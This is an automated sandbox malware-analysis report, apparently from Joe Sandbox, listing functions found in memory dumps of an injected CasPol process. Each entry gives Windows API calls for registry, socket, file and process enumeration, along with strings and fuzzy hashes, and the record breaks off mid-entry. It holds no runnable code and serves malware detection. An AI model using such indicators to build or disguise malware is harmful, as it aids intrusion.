Opcode Fuzzy Hash: 6b50199a0432651ae34dc5b1410d31f6c998128248d3ee0fcbafd836b3cbac97
Instruction Fuzzy Hash: 19519175B00205DFDB44EBB8C884BEEB7B5EB88315F218529E505DB280DB78E845CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 1FA84B30 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 155
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 1FA84B95

Strings

_Rr, xrefs: 1FA84B90
L.tr, xrefs: 1FA84C32
L.tr, xrefs: 1FA84BD0

Memory Dump Source

Source File: 0000000B.00000002.6782028853.000000001FA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa80000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID: L.tr$L.tr$_Rr
API String ID: 2994545307-217586420
Opcode ID: 53f8c5fd9c8aaf40b9c2f3c272249b49820c48f28bebb7b345aa07752979ecb9
Instruction ID: 6d3b421baaecd9c68925a378b38c0bc85d9c991271a593f9362de5dfb92a67bb
Opcode Fuzzy Hash: 53f8c5fd9c8aaf40b9c2f3c272249b49820c48f28bebb7b345aa07752979ecb9
Instruction Fuzzy Hash: 91518074B003059FDB44EBB8C488AAEB7F6EF88304F158529E505DB284DF75A845CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1FA71726 Relevance: 5.3, Strings: 4, Instructions: 325
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:@Mr, xrefs: 1FA71561
:@Mr, xrefs: 1FA71581
:@Mr, xrefs: 1FA71545
:@Mr, xrefs: 1FA7166D

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: :@Mr$:@Mr$:@Mr$:@Mr
API String ID: 0-1722554445
Opcode ID: 293dad724f40efbeaeb498b27491c450de0353819f7ebc75fc1cd0fc1fcfa19f
Instruction ID: 20b4d12119bb0590c898c3381b35a1120556fc9a28afcc0bbf92edf2c1b6246c
Opcode Fuzzy Hash: 293dad724f40efbeaeb498b27491c450de0353819f7ebc75fc1cd0fc1fcfa19f
Instruction Fuzzy Hash: CBB14E74F0014A8BEF54DAACC490B9EB7F6EB89310F698526D405EB381DE2DFC418B65

Uniqueness

Uniqueness Score: -1.00%

Function 1FA72CC4 Relevance: 4.1, Strings: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Otr, xrefs: 1FA72E6A
\Otr, xrefs: 1FA72E87
\Otr, xrefs: 1FA72DFE

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: \Otr$\Otr$\Otr
API String ID: 0-2149511402
Opcode ID: 997f10857b58060d3d26aec57ab0a8a9ab94497624cab94cea890e07a7623349
Instruction ID: c66bf35dd55328066ddfb1f9632ab71ba28f2caec64403515bcdf8004ce5574d
Opcode Fuzzy Hash: 997f10857b58060d3d26aec57ab0a8a9ab94497624cab94cea890e07a7623349
Instruction Fuzzy Hash: FAD19E74A043459FDB15DB39C894B99BBF2AF85300F16C5A6D408CB291DF3AED82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70070 Relevance: 4.0, Strings: 3, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_Rr, xrefs: 1FA70219
_Rr, xrefs: 1FA70260
:@Mr, xrefs: 1FA701D2

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: :@Mr$_Rr$_Rr
API String ID: 0-391161319
Opcode ID: 4901767deebbbd85500bc351739ba64e7411c73ed47803f6979766b803e3543e
Instruction ID: 32db0a9e59cb64992307b7252b48f16ea0949049c0dc98bd3ed8e91a00abc697
Opcode Fuzzy Hash: 4901767deebbbd85500bc351739ba64e7411c73ed47803f6979766b803e3543e
Instruction Fuzzy Hash: 20A12D75A40205CFDB44EB79C484AADBBF2EF84310F25C669D419EB390DB39E842CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1FA7006F Relevance: 4.0, Strings: 3, Instructions: 241
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_Rr, xrefs: 1FA70219
_Rr, xrefs: 1FA70260
:@Mr, xrefs: 1FA701D2

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: :@Mr$_Rr$_Rr
API String ID: 0-391161319
Opcode ID: aee48ecf4cf51002444d629d28979a12ad577da64644c42d2def39d39c9f6903
Instruction ID: a4b4949d2cbf711200a66cd77c28c709ffab3e00351df4f9a253140e141b7591
Opcode Fuzzy Hash: aee48ecf4cf51002444d629d28979a12ad577da64644c42d2def39d39c9f6903
Instruction Fuzzy Hash: D3910A74E40205CFCB44DB79C584AADBBF2EF84311F25C669D419AB390DB39E842CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70598 Relevance: 2.9, Strings: 2, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_Rr, xrefs: 1FA708CA
_Rr, xrefs: 1FA70785

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: _Rr$_Rr
API String ID: 0-507461670
Opcode ID: 587f3633ae6f73d64800ec8bb15ffbc0c6aaa3fdf8cd4440c434cfa8545e12db
Instruction ID: 8a814583d6b02cebf8d10039ea37d598aa6fa3540531d1fa586536973f5c122f
Opcode Fuzzy Hash: 587f3633ae6f73d64800ec8bb15ffbc0c6aaa3fdf8cd4440c434cfa8545e12db
Instruction Fuzzy Hash: CCF14979B402158FDB44DBB8C484A9DB7F2EF84314F258625D819EB395EB39EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1FA74878 Relevance: 2.9, Strings: 2, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:@Mr, xrefs: 1FA74A9C
^ORr, xrefs: 1FA74BB9

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: :@Mr$^ORr
API String ID: 0-1164849170
Opcode ID: cf9dfef83bd84d1bc599867275af41de5442634fd86c88eedd4ba8b28f769c86
Instruction ID: 357d5a58326c4b1d2c7947ebf46a6c58d4fd75d8efdeffeb895d5c8e60fb0434
Opcode Fuzzy Hash: cf9dfef83bd84d1bc599867275af41de5442634fd86c88eedd4ba8b28f769c86
Instruction Fuzzy Hash: C1F15E74B00215CFDB44EBB9C494AADBBF6AF84310F258569D805EB394DF39AD42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1F3A2A27 Relevance: 2.0, APIs: 1, Instructions: 500COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F3A2C16

Memory Dump Source

Source File: 0000000B.00000002.6777901940.000000001F3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f3a0000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: eca1c932e01f1ab1c4f3ff7d8558fc80ff1b770ddf6dd9a38327f96d647b8839
Instruction ID: 5fbaf78f9b1b31e458c65f9478f096ae577fdbe087eab3e7658435c3a556edb9
Opcode Fuzzy Hash: eca1c932e01f1ab1c4f3ff7d8558fc80ff1b770ddf6dd9a38327f96d647b8839
Instruction Fuzzy Hash: ED4244B4E45229CFDBA2DB29C998A98BBF5FB48710F1181D6980DE3354DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F3A2A57 Relevance: 2.0, APIs: 1, Instructions: 497COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F3A2C16

Memory Dump Source

Source File: 0000000B.00000002.6777901940.000000001F3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f3a0000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0741c89a24ce81cb8656f72bd5e2283c16d3bc63bebc818e0bacf6a68a110f69
Instruction ID: 13d60e654711cc2f7925b09a3feaba5aae5a1831b7cac4786ce5d279346e8bd2
Opcode Fuzzy Hash: 0741c89a24ce81cb8656f72bd5e2283c16d3bc63bebc818e0bacf6a68a110f69
Instruction Fuzzy Hash: 6F4254B4E45229CFDBA2DB39C998A98BBF5EB48710F1181D6D80DE3354DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F3A2AAB Relevance: 2.0, APIs: 1, Instructions: 487COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F3A2C16

Memory Dump Source

Source File: 0000000B.00000002.6777901940.000000001F3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f3a0000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 437b207cf5464b2ca6364dfd403cb6682ea4459a2f8be7cf622e7f71b71fa46e
Instruction ID: d2f6e1592edbfadbd3b14498075312de671c8a6c2bfa7ea6d13ee040c0604dee
Opcode Fuzzy Hash: 437b207cf5464b2ca6364dfd403cb6682ea4459a2f8be7cf622e7f71b71fa46e
Instruction Fuzzy Hash: 894255B4E45229CFDBA2DB39C998A98BBF5FB48710F1181D6980DE3354DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F3A2AFF Relevance: 2.0, APIs: 1, Instructions: 475COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F3A2C16

Memory Dump Source

Source File: 0000000B.00000002.6777901940.000000001F3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f3a0000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a6dc9563d066c0772ecebbf8c49378f819b84be46b804a08f97f30276c8224a5
Instruction ID: 6ac335d3c90a60f840cd432ddab9080b9e4473f939346454f12a88ebd7fc5d05
Opcode Fuzzy Hash: a6dc9563d066c0772ecebbf8c49378f819b84be46b804a08f97f30276c8224a5
Instruction Fuzzy Hash: 483245B4E45229CFDBA2DB39C998A98BBF5FB48710F1181D6980DE3354DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F3A2B4A Relevance: 2.0, APIs: 1, Instructions: 467COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F3A2C16

Memory Dump Source

Source File: 0000000B.00000002.6777901940.000000001F3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f3a0000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d4e2e949cb8fea48ae0747def2dd30cdb7fba910273bc1f98abc6ced708b85db
Instruction ID: dd86694eac07ae75e20f3990160c2c56bfde6b87b3afc9e150d0a60ba2c1b35b
Opcode Fuzzy Hash: d4e2e949cb8fea48ae0747def2dd30cdb7fba910273bc1f98abc6ced708b85db
Instruction Fuzzy Hash: 543245B4E45229CFDBA2DB39C998A98BBF5FB48710F1181D6980DE3354DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F3A2B9E Relevance: 2.0, APIs: 1, Instructions: 457COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F3A2C16

Memory Dump Source

Source File: 0000000B.00000002.6777901940.000000001F3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f3a0000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: aa0cc228fb3cdd49a3d346f9671149aed034fa0ef919d0465b612b6bddf63f2e
Instruction ID: 6bbfc50eb3e47855ea48f5a5289bfe34133269ac5835b2d70672bfc9b3208031
Opcode Fuzzy Hash: aa0cc228fb3cdd49a3d346f9671149aed034fa0ef919d0465b612b6bddf63f2e
Instruction Fuzzy Hash: 933255B4E45229CFDBA2DB39C998A98BBF5FB48710F1181D6980DE3354DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F3A2BF2 Relevance: 1.9, APIs: 1, Instructions: 447COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F3A2C16

Memory Dump Source

Source File: 0000000B.00000002.6777901940.000000001F3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f3a0000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b56dadf3bc189e30f316fecb58587d37ca56e434e8e6e7155571be8c259d8113
Instruction ID: 57732e7a3693916f0aa68d4ae6a9392f2a0d4bd51c5981a0dc081e5613886773
Opcode Fuzzy Hash: b56dadf3bc189e30f316fecb58587d37ca56e434e8e6e7155571be8c259d8113
Instruction Fuzzy Hash: 3E3255B4E45229CFDBA2DB39C998A98BBF5EB48710F1181D6D80DE3354DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2A8E Relevance: 1.6, APIs: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1F9B2B45

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 80bb4161c5d4fa07955eeab3139fa61e7d214cc903cac4799cda811a0ff09e7e
Instruction ID: efcf4e5d5b478a36d79e25805f5b246c84fbac14a643aa43a0125a225a6f8a80
Opcode Fuzzy Hash: 80bb4161c5d4fa07955eeab3139fa61e7d214cc903cac4799cda811a0ff09e7e
Instruction Fuzzy Hash: DF31B2B2504344AFE7129F61DC44FA7BBACEF46710F04899EE9848F182D364A509CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B33DF Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000EA4), ref: 1F9B34B3

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: b76499d4896b5521a868d1a29917539c163052b3e89c5a9668ad7bd15fbd6f67
Instruction ID: 494f8777826c9400a4955e8701f51920aea5cca0832b7af6169801d32feb4f41
Opcode Fuzzy Hash: b76499d4896b5521a868d1a29917539c163052b3e89c5a9668ad7bd15fbd6f67
Instruction Fuzzy Hash: 8C31B2B1104380AFE722CB61CC95FA6FBACEF06710F08459EF9849F192D375A909CB65

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1904 Relevance: 1.6, APIs: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 1F9B19B6

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 71b92f21ba8b2652a9390e2c33de9bcf5a01548a44a7ce9c36b0102164ebad4e
Instruction ID: 4458fa779529a5d72f321568554a54b141b80d04d05a771e6d98202f3eb191ed
Opcode Fuzzy Hash: 71b92f21ba8b2652a9390e2c33de9bcf5a01548a44a7ce9c36b0102164ebad4e
Instruction Fuzzy Hash: 443180B15093C0AFE7138B65DC44F52BFB8AF07214F0885DFE9858F1A3C265A949CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B0680 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1F9B074C

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 76649a5cdbbf105a3c72e868cbe25e5958ce882c9b27bb235300b1cb1fcc34a4
Instruction ID: eb2d4a3d797a4b544bb9b21c9a11c572793b72973b8ea65d17efb4b2de9fbe19
Opcode Fuzzy Hash: 76649a5cdbbf105a3c72e868cbe25e5958ce882c9b27bb235300b1cb1fcc34a4
Instruction Fuzzy Hash: 7731D675509380AFD7118B25DC45B52FFB8EF42620F0980DEED858F2A3C265B918CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B14CB Relevance: 1.6, APIs: 1, Instructions: 93registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B1580

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: d99bf96f17b5103b61eed80a34db65dbd399557b12690cd8399d88a0c25bd2cf
Instruction ID: ab93716cbcbf4a539600c72df8d44af89eee64943c46387d8850c368afbd8646
Opcode Fuzzy Hash: d99bf96f17b5103b61eed80a34db65dbd399557b12690cd8399d88a0c25bd2cf
Instruction Fuzzy Hash: 2231B7715083809FE712CF64DC84F92BFE8EF46710F08859AE9858F192D365A548CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2C8E Relevance: 1.6, APIs: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1F9B2D3A

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 0becbdefd6f8a0649000eed401a50d15bdd556573fa3810ad0f9662989e61faa
Instruction ID: 649e3c8e2a99c39e1f77755b07d5039045064342d6480c86888230d8a4cbca24
Opcode Fuzzy Hash: 0becbdefd6f8a0649000eed401a50d15bdd556573fa3810ad0f9662989e61faa
Instruction Fuzzy Hash: 2A31C4B15093846FE7139B61DC45F66BFB8EF46710F0884DAED848F153D220A909C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B0786 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B0831

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 6db867015c33cd40245b2a3918cd85bb7ae670be1b526f69cce1c0142005b164
Instruction ID: 892b960317bb681b9ab56d0a90c871fbfc6a1d1fed334b6ec978eedcd5c4f501
Opcode Fuzzy Hash: 6db867015c33cd40245b2a3918cd85bb7ae670be1b526f69cce1c0142005b164
Instruction Fuzzy Hash: B9317F7540E3C06FE3138B659C55B92BFB8DF47620F0981DBE9858F1A3C229690AC772

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B260D Relevance: 1.6, APIs: 1, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B26C1

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: 9ebc88dae7d0c8e34c3e0634b4e8b1e2fe161d0cf372ebfba0e75d6005fdc1b7
Instruction ID: 41e44a17b15ff53547e63769bba2b51760f5b0cd2e04170cb122e044f71141c2
Opcode Fuzzy Hash: 9ebc88dae7d0c8e34c3e0634b4e8b1e2fe161d0cf372ebfba0e75d6005fdc1b7
Instruction Fuzzy Hash: 76318F75508780AFEB12CB61DC84F92BFF8EF06710F08859AE9848B162D335A909DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B054C Relevance: 1.6, APIs: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 1F9B05ED

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 855c8e2f53ebf5be10b3a5f46313386885a5113c1a3a6832756180f7607050e5
Instruction ID: d84e60c02c941f96fca07a8fcb4524cda9ec59df7ff5adaea76b269867dc51cc
Opcode Fuzzy Hash: 855c8e2f53ebf5be10b3a5f46313386885a5113c1a3a6832756180f7607050e5
Instruction Fuzzy Hash: 2131AF71504340AFE722CF65DC44FA2BFE8EF45620F08859EE9848B2A2D375E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA519 Relevance: 1.6, APIs: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1CFDA5C9

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 41d87168a79b4747accbb44bf07f79b75170be72744879d8e9553e5df00e01a0
Instruction ID: 53cdea09c725394c914e570d06af3a7344492f3e9f8ab9deb32984b6bb0b20f2
Opcode Fuzzy Hash: 41d87168a79b4747accbb44bf07f79b75170be72744879d8e9553e5df00e01a0
Instruction Fuzzy Hash: 0C31C272408384AFE7128B65DC85F67FFBCEF06610F08859AF9848B152D324A808CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1D2C Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000EA4), ref: 1F9B1DC3

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: c9bee8a7de2fc726edef4669cc5b966d18afaab0593203ccf276b41a94525e60
Instruction ID: 45ef5657f0fac75be982e7a50377342b34e3af83e193678c4b44a72d31e65a4f
Opcode Fuzzy Hash: c9bee8a7de2fc726edef4669cc5b966d18afaab0593203ccf276b41a94525e60
Instruction Fuzzy Hash: A731D1B25043806FE7128B65DC45FA7BBACEF45620F08849AE984CF192D324E819CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDACEC Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1CFDAD86

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 1795c4ae9d777cada2d2ab7fb90687b2d54813c6d3a946a3f6b847ff7bc46900
Instruction ID: 2bfcf922ad9de30b70ccdba27eb5a9e156c5af4a3d1b87ca8ffbff35aacd92c7
Opcode Fuzzy Hash: 1795c4ae9d777cada2d2ab7fb90687b2d54813c6d3a946a3f6b847ff7bc46900
Instruction Fuzzy Hash: FF21F5725097806FE712CF61DC41B56BFB8EF06320F0885AAE984CF153C325A909C775

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA611 Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1CFDA6CC

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: e7f3bfcb58e31b50f2eb56a072dee4242026dedeb900c9e70156713560cb6c74
Instruction ID: 5c7a52dd8867715ded7525c0147533dc22ffccc9f3f056ae47b4269dd10866fa
Opcode Fuzzy Hash: e7f3bfcb58e31b50f2eb56a072dee4242026dedeb900c9e70156713560cb6c74
Instruction Fuzzy Hash: C031B172109784AFE722CB61CC85F62BFB8EF46610F09849AE985CB153D364E84DCB75

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1FC4 Relevance: 1.6, APIs: 1, Instructions: 88fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 1F9B2076

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 9c9e81a2badf782db7796b6606e6b5df24f57d8b7a9b59d882eb2f9169a93549
Instruction ID: e1987af6b2c9038a40cad02d53f94a96a504c3de61fca3551d2754a967e0a69f
Opcode Fuzzy Hash: 9c9e81a2badf782db7796b6606e6b5df24f57d8b7a9b59d882eb2f9169a93549
Instruction Fuzzy Hash: 2531B5B2404380AFE712CB55DC45F96FFF8EF15324F04859EE9848F292D365A909CB65

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1C2E Relevance: 1.6, APIs: 1, Instructions: 87registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B1CD8

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 15a9d9a6f3298c26af3cf947b4317e13455bf2e927d133dbaa220a320e7d5a4e
Instruction ID: fbe3d0405548f521ea9475e47d84ac147baaa38b6bb287835f5f2b758cc70da6
Opcode Fuzzy Hash: 15a9d9a6f3298c26af3cf947b4317e13455bf2e927d133dbaa220a320e7d5a4e
Instruction Fuzzy Hash: 0531B1B25083846FE712CB65DC44F92BFB8EF46610F0884DAE984CF1A3D364A549C771

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1305 Relevance: 1.6, APIs: 1, Instructions: 85registryCOMMON

Download Yara Rule

APIs

